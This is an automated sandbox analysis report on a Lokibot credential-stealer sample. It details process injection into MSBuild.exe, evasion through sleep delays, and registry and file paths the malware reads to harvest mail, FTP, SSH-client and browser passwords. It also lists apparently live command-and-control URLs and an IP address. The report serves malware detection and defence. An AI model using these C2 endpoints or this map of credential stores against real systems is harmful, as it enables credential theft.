Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOGPFAULTERRORBOX

Source: C:\Users\user\Desktop\gunzipped.exe TID: 7156	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5520	Thread sleep time: -540000s >= -30000s

Source: C:\Users\user\Desktop\gunzipped.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

Source: C:\Users\user\Desktop\gunzipped.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 60000

Source: gunzipped.exe, 00000000.00000002.672703663.0000000012895000.00000004.00000001.sdmp, gunzipped.exe, 00000000.00000002.672557288.00000000127C4000.00000004.00000001.sdmp, gunzipped.exe, 00000000.00000002.672618979.000000001281A000.00000004.00000001.sdmp, gunzipped.exe, 00000000.00000002.672382490.0000000012729000.00000004.00000001.sdmp	Binary or memory string: `hGfs79njrfh4rlW/g/ELQPl2byr
Source: gunzipped.exe, 00000000.00000002.672816240.0000000012933000.00000004.00000001.sdmp	Binary or memory string: %vL+o+HIpxflaQUFdyuioERPAot/W4EM5/xTa5gjxAAAAAGFXntLKgBbAfHB9ThGfs79njrfh4rlW/g/ELQPl2byrAAAAAGFXntLKgBbAvotC0B06uz5XPhM/Q42Rw/ZmRbohjLNQAAAAAGFXntLKgBbA55VlonSSerVyzUKNGzyf6daF/3B3nIS/AAAAAEz4eZtavaLAAAAAADd5O

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00402B7C GetProcessHeap,RtlAllocateHeap,

Source: C:\Users\user\Desktop\gunzipped.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process token adjusted: Debug

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_0040317B mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\Desktop\gunzipped.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\gunzipped.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000
Source: C:\Users\user\Desktop\gunzipped.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000
Source: C:\Users\user\Desktop\gunzipped.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 415000
Source: C:\Users\user\Desktop\gunzipped.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 41A000
Source: C:\Users\user\Desktop\gunzipped.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 4A0000
Source: C:\Users\user\Desktop\gunzipped.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 6A5008

.NET source code references suspicious native API functions

Show sources

Source: 1.2.MSBuild.exe.510000.1.unpack, Microsoft.Build/Shared/NativeMethodsShared.cs

Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('OpenProcess', 'OpenProcess@KERNEL32.DLL'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')

Allocates memory in foreign processes

Show sources

Source: C:\Users\user\Desktop\gunzipped.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\gunzipped.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\gunzipped.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe

Source: MSBuild.exe, 00000001.00000002.931751642.00000000012E0000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: MSBuild.exe, 00000001.00000002.931751642.00000000012E0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: MSBuild.exe, 00000001.00000002.931751642.00000000012E0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: MSBuild.exe, 00000001.00000002.931751642.00000000012E0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\gunzipped.exe

Queries volume information: C:\Users\user\Desktop\gunzipped.exe VolumeInformation

Source: C:\Users\user\Desktop\gunzipped.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00406069 GetUserNameW,

Stealing of Sensitive Information:

Yara detected Lokibot

Show sources

Source: Yara match	File source: 00000001.00000002.931659993.0000000000C58000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.734712266.0000000000C6F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 1.0.MSBuild.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.931501458.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.668076013.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.672292880.000000001270F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.668425098.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.669222842.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.668771421.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.670595515.000000000275A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gunzipped.exe PID: 7116, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 1852, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts

Tries to steal Mail credentials (via file registry)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: PopPassword
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: SmtpPassword

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Source: Yara match	File source: 1.0.MSBuild.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.931501458.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.668076013.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.672292880.000000001270F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.668425098.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.669222842.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.668771421.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.670595515.000000000275A000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected Lokibot

Show sources

Source: Yara match	File source: 00000001.00000002.931659993.0000000000C58000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.734712266.0000000000C6F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 1.0.MSBuild.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSBuild.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.931501458.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.668076013.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.672292880.000000001270F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.668425098.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.669222842.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.668771421.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.670595515.000000000275A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gunzipped.exe PID: 7116, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 1852, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	Scheduled Task/Job1	Access Token Manipulation1	Disable or Modify Tools1	OS Credential Dumping2	Account Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer3	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job1	Boot or Logon Initialization Scripts	Process Injection312	Deobfuscate/Decode Files or Information1	Credentials in Registry2	File and Directory Discovery1	Remote Desktop Protocol	Data from Local System2	Exfiltration Over Bluetooth	Encrypted Channel12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Scheduled Task/Job1	Obfuscated Files or Information3	Security Account Manager	System Information Discovery13	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing3	NTDS	Security Software Discovery11	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol114	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Masquerading1	LSA Secrets	Process Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Virtualization/Sandbox Evasion21	Cached Domain Credentials	Virtualization/Sandbox Evasion21	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Access Token Manipulation1	DCSync	System Owner/User Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Process Injection312	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
gunzipped.exe	100%	Avira	TR/Dropper.MSIL.Gen
gunzipped.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
1.2.MSBuild.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.0.gunzipped.exe.3f0000.0.unpack	100%	Avira	TR/Dropper.MSIL.Gen	Download File
0.2.gunzipped.exe.3f0000.0.unpack	100%	Avira	HEUR/AGEN.1133163	Download File
1.0.MSBuild.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.MSBuild.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.MSBuild.exe.400000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.MSBuild.exe.400000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.MSBuild.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.MSBuild.exe.400000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://jnxxx1.xyz/JRM/w2/fre.php	0%	Avira URL Cloud	safe
http://kbfvzoboss.bid/alien/fre.php	0%	URL Reputation	safe
http://alphastand.win/alien/fre.php	0%	URL Reputation	safe
http://alphastand.trade/alien/fre.php	0%	URL Reputation	safe
http://alphastand.top/alien/fre.php	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
https://jnxxx1.xyz/JRM/w2/fre.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
jnxxx1.xyz	104.21.60.171	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://jnxxx1.xyz/JRM/w2/fre.php	true	Avira URL Cloud: safe	unknown
http://kbfvzoboss.bid/alien/fre.php	true	URL Reputation: safe	unknown
http://alphastand.win/alien/fre.php	true	URL Reputation: safe	unknown
http://alphastand.trade/alien/fre.php	true	URL Reputation: safe	unknown
http://alphastand.top/alien/fre.php	true	URL Reputation: safe	unknown
https://jnxxx1.xyz/JRM/w2/fre.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.ibsensoftware.com/	MSBuild.exe, MSBuild.exe, 00000001.00000002.931501458.0000000000400000.00000040.00000001.sdmp, MSBuild.exe, 00000001.00000000.668076013.0000000000400000.00000040.00000001.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.60.171	jnxxx1.xyz	United States		13335	CLOUDFLARENETUS	true
172.67.198.111	unknown	United States		13335	CLOUDFLARENETUS	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	553234
Start date:	14.01.2022
Start time:	14:24:17
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 54s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	gunzipped.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/3@60/3
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 62.7% (good quality ratio 59.4%) Quality average: 76% Quality standard deviation: 29.7%
HCA Information:	Successful, ratio: 99% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe HTTP Packets have been reduced TCP Packets have been reduced to 100 Excluded IPs from analysis (whitelisted): 23.211.6.115, 20.82.210.154, 40.91.112.76, 20.54.110.249, 40.112.88.60, 80.67.82.235, 80.67.82.211, 20.50.102.62 Excluded domains from analysis (whitelisted): displaycatalog-rp-uswest.md.mp.microsoft.com.akadns.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, wus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, a1449.dscg2.akamai.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, arc.trafficmanager.net, consumer-displaycatalogrp-aks2aks-uswest.md.mp.microsoft.com.akadns.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtQueryValueKey calls found. VT rate limit hit for: gunzipped.exe

Simulations

Behavior and APIs

Time	Type	Description
14:25:21	API Interceptor	57x Sleep call for process: MSBuild.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\gunzipped.exe.log Download File
Process:	C:\Users\user\Desktop\gunzipped.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
